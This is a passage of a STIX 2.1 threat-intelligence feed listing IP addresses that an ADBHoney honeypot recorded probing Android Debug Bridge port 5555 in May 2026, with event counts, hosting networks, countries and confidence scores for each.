      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=47890; asn_org=Unmanaged Ltd; cats=Misc activity,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-03T02:10:43.000Z | last_seen=2026-05-18T01:55:27.692Z | ports=5555 | cc=US | asn=47890 | org=Unmanaged Ltd",
      "id": "indicator--9a834683-18dd-48ea-9313-2e8e9d1d6ee2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.148.9.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:00:10.000Z",
      "valid_until": "2026-06-04T03:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-03T02:10:43.000Z",
          "last_seen": "2026-05-18T01:55:27.692Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "47890"
          ],
          "org": [
            "Unmanaged Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T03:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-03T02:19:22.000Z | last_seen=2026-05-03T02:20:32.724Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--9c822a0a-3bc4-42ce-83fd-887b73999867",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.227.106.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:00:10.000Z",
      "valid_until": "2026-06-04T03:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-03T02:19:22.000Z",
          "last_seen": "2026-05-03T02:20:32.724Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T03:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-03T02:25:10.000Z | last_seen=2026-05-03T02:35:14.599Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--f981dfc4-cad1-4621-a9ef-9c338e8ac174",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '71.239.37.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:00:10.000Z",
      "valid_until": "2026-06-04T03:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-03T02:25:10.000Z",
          "last_seen": "2026-05-03T02:35:14.599Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T04:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-03T03:11:21.000Z | last_seen=2026-05-03T03:21:30.490Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--975452ec-3bdb-4a4c-9f89-e36a312e0879",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.199.221.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:00:10.000Z",
      "valid_until": "2026-06-04T04:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-03T03:11:21.000Z",
          "last_seen": "2026-05-03T03:21:30.490Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T04:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=SC; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=27 | first_seen=2026-05-03T03:05:37.000Z | last_seen=2026-05-21T11:51:57.633Z | ports=5555 | cc=SC | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--a4489480-851c-4fad-9e58-dfc4d751664c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:00:10.000Z",
      "valid_until": "2026-06-04T04:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 27,
          "first_seen": "2026-05-03T03:05:37.000Z",
          "last_seen": "2026-05-21T11:51:57.633Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SC"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T06:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=18 | first_seen=2026-05-03T05:00:33.000Z | last_seen=2026-05-03T05:01:55.112Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--be071703-683d-47ca-95b1-c1c300a940d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:00:11.000Z",
      "valid_until": "2026-06-04T06:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 18,
          "first_seen": "2026-05-03T05:00:33.000Z",
          "last_seen": "2026-05-03T05:01:55.112Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T06:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-03T05:00:43.000Z | last_seen=2026-05-03T05:02:00.113Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--80bff7c6-39f7-4578-b938-64deec9452dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:00:11.000Z",
      "valid_until": "2026-06-04T06:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-03T05:00:43.000Z",
          "last_seen": "2026-05-03T05:02:00.113Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T06:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-03T05:00:33.000Z | last_seen=2026-05-03T05:01:46.150Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--05d2696e-b8d7-4531-b8a4-7098ea3d61b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:00:11.000Z",
      "valid_until": "2026-06-04T06:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-03T05:00:33.000Z",
          "last_seen": "2026-05-03T05:01:46.150Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T06:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-03T05:26:54.000Z | last_seen=2026-05-12T01:55:02.866Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--fbe3db7f-7751-43ff-8353-96735979d23c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:00:11.000Z",
      "valid_until": "2026-06-04T06:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-03T05:26:54.000Z",
          "last_seen": "2026-05-12T01:55:02.866Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T06:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-03T05:26:03.000Z | last_seen=2026-05-03T05:27:10.982Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--62c6db36-0b1c-436b-94bc-25c08dad14a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:00:11.000Z",
      "valid_until": "2026-06-04T06:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-03T05:26:03.000Z",
          "last_seen": "2026-05-03T05:27:10.982Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T07:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=DE; asn=31898; asn_org=Oracle Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-03T06:46:24.000Z | last_seen=2026-05-03T06:47:25.271Z | ports=5555 | cc=DE | asn=31898 | org=Oracle Corporation",
      "id": "indicator--bd25ad6b-b3f9-4946-9b12-058e838f9c76",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.162.228.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:00:05.000Z",
      "valid_until": "2026-06-04T07:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-03T06:46:24.000Z",
          "last_seen": "2026-05-03T06:47:25.271Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "31898"
          ],
          "org": [
            "Oracle Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T09:01:29.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=18 | first_seen=2026-05-03T08:01:22.000Z | last_seen=2026-05-03T08:11:37.408Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--8254e44c-e3e4-47ce-a0d2-9692d2fddad9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:01:29.000Z",
      "valid_until": "2026-06-04T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 18,
          "first_seen": "2026-05-03T08:01:22.000Z",
          "last_seen": "2026-05-03T08:11:37.408Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T10:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=468 | first_seen=2026-05-03T09:25:06.000Z | last_seen=2026-05-13T01:53:09.611Z | ports=5555 | cc=NL | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.50.16.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:00:05.000Z",
      "valid_until": "2026-06-04T10:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 468,
          "first_seen": "2026-05-03T09:25:06.000Z",
          "last_seen": "2026-05-13T01:53:09.611Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-03T11:20:41.000Z | last_seen=2026-05-05T15:06:05.020Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c56c651d-fbc7-4369-8be5-c5a178a74944",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:00:02.000Z",
      "valid_until": "2026-06-04T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-03T11:20:41.000Z",
          "last_seen": "2026-05-05T15:06:05.020Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-03T11:19:06.000Z | last_seen=2026-05-03T11:20:15.262Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--150ba5d1-ad89-41ba-afba-a7ee43b2f839",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:00:02.000Z",
      "valid_until": "2026-06-04T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-03T11:19:06.000Z",
          "last_seen": "2026-05-03T11:20:15.262Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T13:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LT; asn=209605; asn_org=UAB Host Baltic; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-03T12:49:58.000Z | last_seen=2026-05-03T12:51:11.472Z | ports=5555 | cc=LT | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--d1439f59-be31-4c93-88a6-01abfd32f3c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.98.10.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:00:01.000Z",
      "valid_until": "2026-06-04T13:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-03T12:49:58.000Z",
          "last_seen": "2026-05-03T12:51:11.472Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LT"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-03T13:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-03T12:23:16.000Z | last_seen=2026-05-03T12:43:34.696Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--c540b2c3-abe0-4d23-a90c-2735d593ae5a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
